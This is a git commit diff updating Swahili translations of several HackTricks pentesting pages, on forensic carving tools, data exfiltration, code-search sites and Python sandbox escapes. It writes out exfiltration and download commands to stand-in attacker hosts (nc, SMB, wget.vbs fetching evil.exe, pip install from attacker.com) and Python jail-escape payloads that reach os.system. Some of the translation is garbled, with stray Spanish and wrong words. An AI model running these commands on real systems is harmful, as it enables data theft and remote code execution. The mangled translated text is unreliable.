Translated ['forensics/basic-forensic-methodology/partitions-file-system

This commit is contained in:
Translator 2024-03-26 15:53:40 +00:00
parent c6d6a7ae88
commit f0d3bc1562
42 changed files with 1174 additions and 1156 deletions

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -28,13 +28,13 @@ Zana zaidi kwenye [https://github.com/Claudio-C/awesome-datarecovery](https://gi
### Autopsy
Zana ya kawaida sana kutumika katika uchunguzi wa kielelezo ili kutoa faili kutoka kwa picha ni [**Autopsy**](https://www.autopsy.com/download/). Pakua, isakinishe na ifanye iingize faili ili kupata faili "zilizofichwa". Kumbuka kwamba Autopsy imejengwa kusaidia picha za diski na aina zingine za picha, lakini sio faili za kawaida.
Zana ya kawaida sana kutumika katika uchunguzi wa kiforensiki kutoa faili kutoka kwa picha ni [**Autopsy**](https://www.autopsy.com/download/). Pakua, isakinishe na ifanye iingize faili ili kupata faili "zilizofichwa". Kumbuka kwamba Autopsy imejengwa kusaidia picha za diski na aina zingine za picha, lakini sio faili za kawaida.
### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk** ni zana ya kuchambua faili za binary ili kupata yaliyomo yaliyofichwa. Inaweza kusakinishwa kupitia `apt` na chanzo chake kiko kwenye [GitHub](https://github.com/ReFirmLabs/binwalk).
**Amri za Kufaa**:
**Amri muhimu**:
```bash
sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file
@ -43,7 +43,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
Chombo kingine cha kawaida cha kutafuta faili zilizofichwa ni **foremost**. Unaweza kupata faili ya usanidi wa foremost katika `/etc/foremost.conf`. Ikiwa unataka tu kutafuta baadhi ya faili maalum, toa alama ya mstari kwa faili hizo. Ikiwa hutotoa alama yoyote, foremost itatafuta aina zake za faili zilizosanidiwa kwa msingi.
Chombo kingine cha kawaida cha kupata faili zilizofichwa ni **foremost**. Unaweza kupata faili ya usanidi wa foremost katika `/etc/foremost.conf`. Ikiwa unataka tu kutafuta baadhi ya faili maalum, toa alama ya mstari mbele yake. Ikiwa hutotoa alama yoyote, foremost itatafuta aina zake za faili zilizosanidiwa kwa chaguo-msingi.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
@ -58,9 +58,9 @@ scalpel file.img -o output
```
### Bulk Extractor
Chombo hiki kinapatikana ndani ya kali lakini unaweza kukipata hapa: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
Herramienta hii iko ndani ya kali lakini unaweza kuipata hapa: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
Chombo hiki kinaweza kutafuta picha na **kutoa pcaps** ndani yake, **taarifa za mtandao (URLs, domains, IPs, MACs, barua pepe)** na **faili zaidi**. Unachohitaji kufanya ni:
Herramienta hii inaweza skana picha na **kutoa pcaps** ndani yake, **taarifa za mtandao (URLs, domains, IPs, MACs, barua pepe)** na **faili zaidi**. Unachohitaji kufanya ni:
```
bulk_extractor memory.img -o out_folder
```
@ -74,7 +74,7 @@ Inakuja na toleo la GUI na CLI. Unaweza kuchagua **aina za faili** unazotaka Pho
### binvis
Angalia [mimba](https://code.google.com/archive/p/binvis/) na [zana ya ukurasa wa wavuti](https://binvis.io/#/).
Angalia [code](https://code.google.com/archive/p/binvis/) na [ukurasa wa zana ya wavuti](https://binvis.io/#/).
#### Sifa za BinVis
@ -83,7 +83,7 @@ Angalia [mimba](https://code.google.com/archive/p/binvis/) na [zana ya ukurasa w
* Kuzingatia sehemu za sampuli
* **Kuona maneno na rasilimali**, katika utekelezaji wa PE au ELF kwa mfano
* Kupata **mifano** kwa cryptanalysis kwenye faili
* **Kugundua** pakiti au algorithm za encoder
* **Kutambua** packer au algorithms za encoder
* **Kutambua** Steganography kwa mifano
* **Mwangaza** wa tofauti za binary
@ -104,7 +104,7 @@ Unaweza kutumia zana ya mstari wa amri ya linux **pdftotext** kubadilisha pdf ku
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -112,7 +112,7 @@ Unaweza kutumia zana ya mstari wa amri ya linux **pdftotext** kubadilisha pdf ku
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia zingine za kusaidia HackTricks:
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
**Kikundi cha Usalama cha Kujitahidi**
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -170,7 +170,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
Au tengeneza sehemu ya smb **kwa kutumia samba**:
Au unaweza kuunda smb share **kwa kutumia samba**:
```bash
apt-get install samba
mkdir /tmp/smb
@ -185,25 +185,19 @@ guest ok = Yes
#Start samba
service smbd restart
```
# Windows
### Exfiltration Techniques on Windows
## Exfiltration Techniques
#### Exfiltration Over C2 Channels
When exfiltrating data over command and control (C2) channels, an attacker can leverage existing C2 infrastructure to blend in with legitimate traffic. This can include using encrypted channels, steganography, or other obfuscation techniques to avoid detection.
### Exfiltration Over Command and Control Channel
#### Exfiltration Over Alternative Protocols
Attackers can also exfiltrate data using alternative protocols such as DNS, ICMP, or HTTP. By encoding data within the protocol traffic, an attacker can bypass network security controls that may only be inspecting specific protocols.
The attacker can exfiltrate data by sending commands to the compromised system to upload the desired files to an external server controlled by the attacker.
#### Exfiltration Over Trusted Protocols
Utilizing trusted protocols like HTTPS or DNS can help an attacker blend in with normal network traffic. By abusing these protocols to exfiltrate data, an attacker can avoid raising suspicion from security monitoring tools.
### Exfiltration Over Alternative Protocol
The attacker can use alternative protocols such as DNS, ICMP, or HTTPS to exfiltrate data from the target network without being detected easily.
### Exfiltration Over Encrypted Channels
By using encryption techniques, the attacker can exfiltrate data over encrypted channels such as SSL/TLS to avoid detection by security monitoring tools.
### Exfiltration Over Unmonitored Ports
Attackers can exfiltrate data over ports that are not actively monitored by security tools, making it harder to detect the unauthorized data transfer.
#### Exfiltration Over Encrypted Channels
Encrypting exfiltrated data can help evade detection by security tools that are not able to inspect encrypted traffic. By using encryption, an attacker can make it more challenging for defenders to identify and block exfiltration attempts.
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
@ -227,20 +221,40 @@ sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP addre
```
## NC
### Data Exfiltration
### Exfiltration
Data exfiltration is the unauthorized transfer of data from a computer. This can be achieved using various techniques, such as:
#### Overview
Exfiltration is the unauthorized transfer of data from a target. This can be achieved through various methods, such as:
- **Email**: Sending sensitive data as email attachments.
- **FTP**: Transferring data using File Transfer Protocol.
- **DNS**: Sending data through DNS queries.
- **HTTP/HTTPS**: Using web protocols to exfiltrate data.
- **DNS**: Sending data through DNS requests.
- **HTTP/HTTPS**: Using HTTP or HTTPS protocols to exfiltrate data.
- **Steganography**: Hiding data within other files to avoid detection.
- **USB Drives**: Physically removing data using USB drives.
- **Printers**: Printing out sensitive information.
- **Cloud Storage**: Uploading data to cloud storage services.
- **Physical**: Removing data physically from a target location.
Hackers use these methods to steal data from organizations, making data exfiltration a significant concern for cybersecurity.
#### Detection
Detecting exfiltration can be challenging due to the covert nature of the activity. Some common detection methods include:
- **Network Monitoring**: Monitoring network traffic for unusual patterns.
- **Endpoint Monitoring**: Monitoring endpoint devices for unauthorized data transfers.
- **Data Loss Prevention (DLP)**: Using DLP solutions to detect and prevent data exfiltration.
- **Behavioral Analytics**: Analyzing user behavior to identify suspicious activities.
- **Encryption**: Implementing encryption to protect data from being exfiltrated.
#### Prevention
Preventing exfiltration requires a multi-layered approach to security. Some prevention techniques include:
- **Access Control**: Limiting access to sensitive data to authorized personnel only.
- **Network Segmentation**: Segmenting networks to prevent lateral movement of attackers.
- **User Training**: Educating users about the risks of data exfiltration and how to prevent it.
- **Security Policies**: Implementing strict security policies to govern data handling practices.
- **Security Tools**: Deploying security tools such as firewalls, IDS/IPS, and SIEM solutions to detect and prevent exfiltration attempts.
By understanding exfiltration techniques and implementing appropriate detection and prevention measures, organizations can better protect their data from unauthorized access and transfer.
```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
@ -281,27 +295,27 @@ sniff(iface="tun0", prn=process_packet)
```
## **SMTP**
Ikiwa unaweza kutuma data kwa seva ya SMTP, unaweza kuunda SMTP ya kupokea data kwa kutumia python:
Ikiwa unaweza kutuma data kwa seva ya SMTP, unaweza kuunda SMTP kupokea data hiyo kwa kutumia python:
```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
## TFTP
Kwa chaguo-msingi katika XP na 2003 (katika nyingine inahitaji kuongezwa wazi wakati wa usakinishaji)
Kwa chaguo-msingi katika XP na 2003 (katika mingine inahitaji kuongezwa wazi wakati wa usakinishaji)
Katika Kali, **anzisha server ya TFTP**:
Katika Kali, **anzisha seva ya TFTP**:
```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
```
**Server ya TFTP kwa python:**
**Server ya TFTP kwa kutumia python:**
```bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```
Katika **mwenyeji**, unganisha kwenye seva ya Kali:
Katika **mwendwa**, unganisha kwenye seva ya Kali:
```bash
tftp -i <KALI-IP> get nc.exe
```
@ -313,7 +327,7 @@ echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', '
```
## VBScript
VBScript ni lugha ya programu inayotumika sana kwa maendeleo ya skripti za Windows.
VBScript ni lugha ya programu inayotumika sana kwa maendeleo ya skripti za Windows. Inaweza kutumika kwa ufanisi kutekeleza shughuli za uhamishaji wa data kwa njia ya exfiltration.
```bash
Attacker> python -m SimpleHTTPServer 80
```
@ -351,7 +365,7 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe
Programu ya `debug.exe` sio tu inaruhusu ukaguzi wa binaries lakini pia ina **uwezo wa kujenga upya kutoka hex**. Hii inamaanisha kwamba kwa kutoa hex ya binary, `debug.exe` inaweza kuzalisha faili ya binary. Hata hivyo, ni muhimu kufahamu kwamba debug.exe ina **kizuizi cha kuunda faili zenye ukubwa wa hadi 64 kb**.
Programu ya `debug.exe` sio tu inaruhusu ukaguzi wa binaries lakini pia ina **uwezo wa kujenga upya kutoka hex**. Hii inamaanisha kwamba kwa kutoa hex ya binary, `debug.exe` inaweza kuzalisha faili ya binary. Hata hivyo, ni muhimu kuzingatia kwamba debug.exe ina **kizuizi cha kuunda faili hadi 64 kb in size**.
```bash
# Reduce the size
upx -9 nc.exe
@ -365,9 +379,9 @@ Kisha nakili na ushirikishe maudhui kwenye windows-shell na faili inayoitwa nc.e
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
**Kikundi cha Usalama cha Try Hard**
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -381,6 +395,6 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
**Kikundi cha Usalama cha Kujitahidi**
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,33 +24,33 @@ Njia nyingine za kusaidia HackTricks:
Lengo la ukurasa huu ni kuhesabu **majukwaa yanayoruhusu kutafuta msimbo** (halisi au regex) katika maelfu/mamilioni ya repos kwenye majukwaa moja au zaidi.
Hii husaidia katika matukio kadhaa ya **kutafuta taarifa zilizovuja** au kwa mifano ya **mapengo**.
Hii husaidia katika matukio kadhaa ya **kutafuta taarifa zilizovuja** au kwa mifano ya **mapengo ya usalama**.
* [**SourceGraph**](https://sourcegraph.com/search): Tafuta katika mamilioni ya repos. Kuna toleo la bure na toleo la biashara (na siku 15 za bure). Inasaidia regexes.
* [**Github Search**](https://github.com/search): Tafuta kote Github. Inasaidia regexes.
* Labda pia ni muhimu kuangalia [**Github Code Search**](https://cs.github.com/).
* Labda ni muhimu pia kuangalia [**Github Code Search**](https://cs.github.com/).
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Tafuta katika miradi ya Gitlab. Inasaidia regexes.
* [**SearchCode**](https://searchcode.com/): Tafuta msimbo katika miradi mamilioni.
{% hint style="warning" %}
Unapotafuta uvujaji katika repo na kuendesha kitu kama `git log -p` usisahau kwamba kunaweza kuwa na ** matawi mengine na mabadiliko mengine ** yanayohusisha siri!
Unapotafuta uvujaji katika repo na kuendesha kitu kama `git log -p` usisahau kwamba kunaweza kuwa ** matawi mengine na mabadiliko mengine ** yanayohifadhi siri!
{% endhint %}
**Kikundi cha Usalama cha Kujitahidi**
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Jifunze kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
@ -14,19 +14,19 @@ Njia nyingine za kusaidia HackTricks:
</details>
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
**Kikundi cha Usalama cha Kujitahidi**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
Hizi ni baadhi ya mbinu za kudukua ulinzi wa mchanga wa Python na kutekeleza amri za kiholela.
Hizi ni baadhi ya mbinu za kudukua ulinzi wa mchujio wa Python na kutekeleza amri za kiholela.
## Maktaba za Kutekeleza Amri
Jambo la kwanza unalohitaji kujua ni ikiwa unaweza kutekeleza moja kwa moja nambari na maktaba iliyoshaimbuliwa tayari, au ikiwa unaweza kuingiza mojawapo ya maktaba hizi:
Jambo la kwanza unalohitaji kujua ni ikiwa unaweza kutekeleza moja kwa moja nambari na maktaba iliyosha kwenye programu, au ikiwa unaweza kuagiza mojawapo ya maktaba hizi:
```python
os.system("ls")
os.popen("ls").read()
@ -99,7 +99,7 @@ Ikiwa una ufikiaji wa `pip` au `pip.main()` unaweza kusakinisha pakiti isiyojuli
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Unaweza kupakua pakiti ya kuunda reverse shell hapa. Tafadhali, kumbuka kwamba kabla ya kutumia ni lazima **ukuze** pakiti hiyo, **badilishe `setup.py`, na weka anwani yako ya IP kwa ajili ya reverse shell**:
Unaweza kupakua pakiti ya kuunda reverse shell hapa. Tafadhali, kumbuka kwamba kabla ya kutumia ni lazima **ukuze** pakiti hiyo, **badilisha `setup.py`, na weka anwani yako ya IP kwa ajili ya reverse shell**:
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
@ -110,7 +110,7 @@ Pakiti hii inaitwa `Reverse`. Hata hivyo, ilibuniwa kwa makusudi ili wakati unap
## Eval-ing python code
{% hint style="warning" %}
Tafadhali kumbuka kwamba exec inaruhusu mistari mingi na ";", lakini eval haifanyi hivyo (angalia operator wa walrus)
Tafadhali kumbuka kwamba exec inaruhusu mistari mingi na ";", lakini eval haifanyi hivyo (angalia walrus operator)
{% endhint %}
Ikiwa herufi fulani zimepigwa marufuku unaweza kutumia **uwakilishi wa hex/octal/B64** kwa ajili ya **kupitisha** kizuizi:
@ -170,11 +170,11 @@ return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```
Pia niwezekana kuidhinisha kutumia namna zingine za kuipuuza, k.m. `raw_unicode_escape` na `unicode_escape`.
Pia niwezekana kuidhinisha kutumia taratibu nyingine za uandishi wa kanuni, k.m. `raw_unicode_escape` na `unicode_escape`.
## Utekelezaji wa Python bila simu
Ikiwa uko ndani ya gereza la python ambalo **halikuruhusu kufanya simu**, bado kuna njia za **utekelezaji wa kazi za kiholela, namna** na **maagizo**.
Ikiwa uko ndani ya gereza la python ambalo **halikuruhusu kufanya simu**, bado kuna njia za **utekelezaji wa kazi za kiholela**, kanuni na **maagizo**.
### RCE na [mapambo](https://docs.python.org/3/glossary.html#term-decorator)
```python
@ -204,7 +204,7 @@ Ikiwa unaweza **kutangaza darasa** na **kuunda kipengee** cha darasa hilo unawez
#### RCE na darasa za desturi
Unaweza kurekebisha baadhi ya **njia za darasa** (_kwa kuzidisha njia za darasa zilizopo au kuunda darasa jipya_) ili kufanya zitekeleze **michocheo ya nambari** wakati zinapozinduliwa bila kuziita moja kwa moja.
Unaweza kurekebisha baadhi ya **njia za darasa** (_kwa kuzidisha njia za darasa zilizopo au kuunda darasa jipya_) ili kufanya zitekeleze **mimba ya nambari** wakati zinapozinduliwa bila kuziita moja kwa moja.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -324,20 +324,20 @@ a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass
```
## Vifaa vya Kujengwa
## Zilizojengwa
* [**Vifaa vya kujengwa vya python2**](https://docs.python.org/2/library/functions.html)
* [**Vifaa vya kujengwa vya python3**](https://docs.python.org/3/library/functions.html)
* [**Kazi za zilizojengwa za python2**](https://docs.python.org/2/library/functions.html)
* [**Kazi za zilizojengwa za python3**](https://docs.python.org/3/library/functions.html)
Ikiwa unaweza kupata kitu cha **`__builtins__`** unaweza kuagiza maktaba (tambua kwamba unaweza pia kutumia hapa uwasilishaji mwingine wa herufi ulioonyeshwa katika sehemu ya mwisho):
Ikiwa unaweza kupata **`__builtins__`** kifaa unaweza kuingiza maktaba (tambua kwamba unaweza pia kutumia hapa uwasilishaji mwingine wa herufi ulioonyeshwa katika sehemu ya mwisho):
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### Hakuna Builtins
Wakati huna `__builtins__` huwezi kuimport chochote wala hata kusoma au kuandika faili kwani **funksheni zote za kimataifa** (kama vile `open`, `import`, `print`...) **hazijapakiwa**.\
Hata hivyo, **kwa chaguo-msingi python huimport moduli nyingi kwenye kumbukumbu**. Moduli hizi zinaweza kuonekana kuwa salama, lakini baadhi yao **pia huimporta** **kazi hatari** ndani yao ambazo zinaweza kupatikana ili kupata hata **utekelezaji wa nambari za kubahatisha**.
Wakati huna `__builtins__` huwezi kuimport chochote wala kusoma au kuandika faili kwani **funksheni zote za kimataifa** (kama vile `open`, `import`, `print`...) **hazijapakiwa**.\
Hata hivyo, **kwa chaguo-msingi python huimport moduli nyingi kwenye kumbukumbu**. Moduli hizi zinaweza kuonekana kuwa salama, lakini baadhi yao **pia huimporta** kazi hatari ndani yao ambazo zinaweza kupatikana ili kupata hata **utekelezaji wa nambari za kubahatisha**.
Katika mifano ifuatayo unaweza kuona jinsi ya **kutumia vibaya** baadhi ya moduli hizi "**salama**" zilizopakiwa ili **kupata** **kazi hatari** ndani yao.
@ -391,7 +391,7 @@ get_flag.__globals__['__builtins__']
